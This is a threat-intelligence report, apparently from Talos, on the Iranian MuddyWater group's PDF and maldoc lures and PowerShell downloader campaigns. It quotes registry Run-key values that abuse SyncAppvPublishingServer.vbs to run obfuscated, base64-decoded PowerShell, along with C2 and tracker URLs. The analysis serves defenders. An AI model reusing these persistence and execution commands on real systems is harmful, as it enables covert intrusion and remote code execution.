MuddyWater, also known as MERCURY or Static Kitten, is an APT group recently attributed to Iran’s Ministry of Intelligence and Security (MOIS) by U.S. Cyber Command.
This threat actor, active since at least 2017, frequently conducts campaigns against high-value targets in American, European and Asian countries.
Campaigns carried out by the threat actor aim to achieve either of three outcomes:
Espionage – Supporting the political dominance of the nation state in the Middle East.
This is business as usual for the threat actor, motivated by nation-state interests.
Intellectual property theft – Enables economic advantages to the nation state. This goal is accomplished by carrying out aggressive campaigns against private entities and government affiliated institutions such as universities and research entities.
Ransomware attacks – MuddyWater has previously attempted to deploy ransomware such as Thanos on victim networks to either destroy evidence of their intrusions or disrupt operations of private organizations.
This group frequently relies on the use of DNS as part of their means to contact the command and control (C2), while the initial contact with hosting servers is done via HTTP. Their initial payloads usually use PowerShell and Visual Basic scripting along with LoLBins to assist in the initial stages of the infection.
Talos recently observed a campaign operating as recently as November 2021, which analysts attribute with high confidence to the MuddyWater group, targeting Turkish government entities, including the Scientific And Technological Research Council of Turkey – Tubitak.
This campaign consisted of the use of malicious excel documents (XLS maldocs) and executables stored on a file hosting domain “snapfile[.]org”, which would be delivered to the victims in the form of PDF documents with embedded links.
These maldocs, hosted on attacker-controlled or public media-sharing websites are downloaded by malicious PDFs meant to trick the targets into downloading and opening the maldocs. Based on historic evidence of similar campaigns conducted by MuddyWater, it is highly likely that these PDFs served as the initial entry points to the attacks and were distributed via email messages as part of spear-phishing efforts conducted by the group.
The delivery mechanism for this campaign is the distribution of PDF files containing embedded links. Talos found at least two PDF files which shared the same author name, “nejla” , in the metadata. The PDF files typically show an error message and ask the user to click on a link to resolve the issue and display the correct format/extension of the document.
Once the victim clicks on the download button, the endpoint receives a second stage, which can be either a malicious XLS file or a Windows executable that proceeds with the infection.
Once executed, the sample drops a text file in the victim’s temporary folder. This is actually a decoy PDF or Office document in hex format. During execution, the hex representation of the decoy document is hexlified to create a readable copy in the %temp% folder. The decoy will then be opened by the system PDF or document reader and displayed to the victim.
Once the decoy document has been displayed to the victim, the executable starts its main malicious task: Downloading and executing malicious PowerShell scripts served to it by a remote location.
Here, analysts see that the intermediate VBS scripts used in the maldoc based infection chain have been replaced with a PowerShell-based implementation.
The implant will first create a directory in the user’s home folder. This directory will be used to store two PowerShell scripts:
Instrumentor script used to activate the next stage from disk called “.CloudCache.conf.”
Downloader script used to download the next stage from a remote location for execution on the endpoint called “.CloudDrive.conf.”
Just like maldoc-based infections, a registry key is created at HKCUSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN | for persistence.
For example:
HKCUSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN | CloudDrive.
The registry Run key takes advantage of lolbins to run the payload. In this case, it uses SyncAppvPublishingServer.vbs to execute PowerShell code, which will execute the code stored in the instrumentor script (“.CloudCache.conf”):
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
“CloudDrive”=”C:\Windows\System32\SyncAppvPublishingServer.vbs “n;.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)((.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)((Get-content $env:USERPROFILE\.CloudDrive\.CloudCache.conf))))””
The instrumentor script is responsible for base64 decoding the contents of the downloader (the second PS1 script) and executing it on the endpoint.
The second PS1 script is the actual downloader of the next stage of PowerShell code that is run on the infected endpoint. It downloads the next stage of PowerShell code from a remote location and executes it on the infected endpoint.
In Pakistan case, the executable also uses the Registry run key for persistence of its artifacts on the system. However, in this case, analysts saw a variation in the infection chain:
The attackers skipped using the instrumentor PS1 script as seen in the latest infection chain (described above).
Instead, the attackers configured the Registry run key to execute the downloader script directly via SyncAppvPublishingServer.vbs.
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
“OwnDrive”=”C:\Windows\System32\SyncAppvPublishingServer.vbs “n;.(‘{2}{0}{1}’ -f[string][char][int]101,[string][char][int]88,’i’)([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-content
$env:USERPROFILE\.VirtualBoxer\.VirtualBoxer.conf))))””
The downloader script used in this instance consists of capabilities to collect preliminary data, such as the computer name, to register the infection with the C2 server.
The script will then reach out to the C2 for requesting PowerShell commands to execute. The response received is parsed by the implant to check if the computer name sent back by the C2 matches the current computer name. If a match is found, the corresponding PowerShell commands issued by the C2 are executed on the endpoint and the output/response is AES encrypted and returned to the C2.
The URL for returning the output of a command executed on the system is:
http:///images?guid=
The User Agent used for all these communications is: Googlebot/2.1 (+http://www.google.com/bot.html)
TRACKING TOKENS
Analysts observed the decoy documents reaching out to a remote location:
hxxp://172.245.81[.]135:10196/Geq5P3aFpaSrK3PZtErNgUsVCfqQ9kZ9/Pan-op/gallery.jpg
Similar URLs on this server were accessed in previously observed MuddyWater campaigns targeting Pakistan.
It is highly likely that the attackers used this server as a token tracker to monitor successful infections in this campaign.
Another example of a similar executable used by the threat actor was one to target the telecommunications sector in Armenia.
The decoy document displayed to the victim in this case consists of an internal guide (Maintenance Operation Protocol (MOP)) for Armenia’s Viva-MTS telecom solution provider from Ericsson pertaining to their Smart Services Routers (SSRs) and Evolved Packet Gateway (EPG).
The entire infection chain employed in this campaign, using the malicious PowerShell based downloader, was later seen again in the attack targeting Pakistan.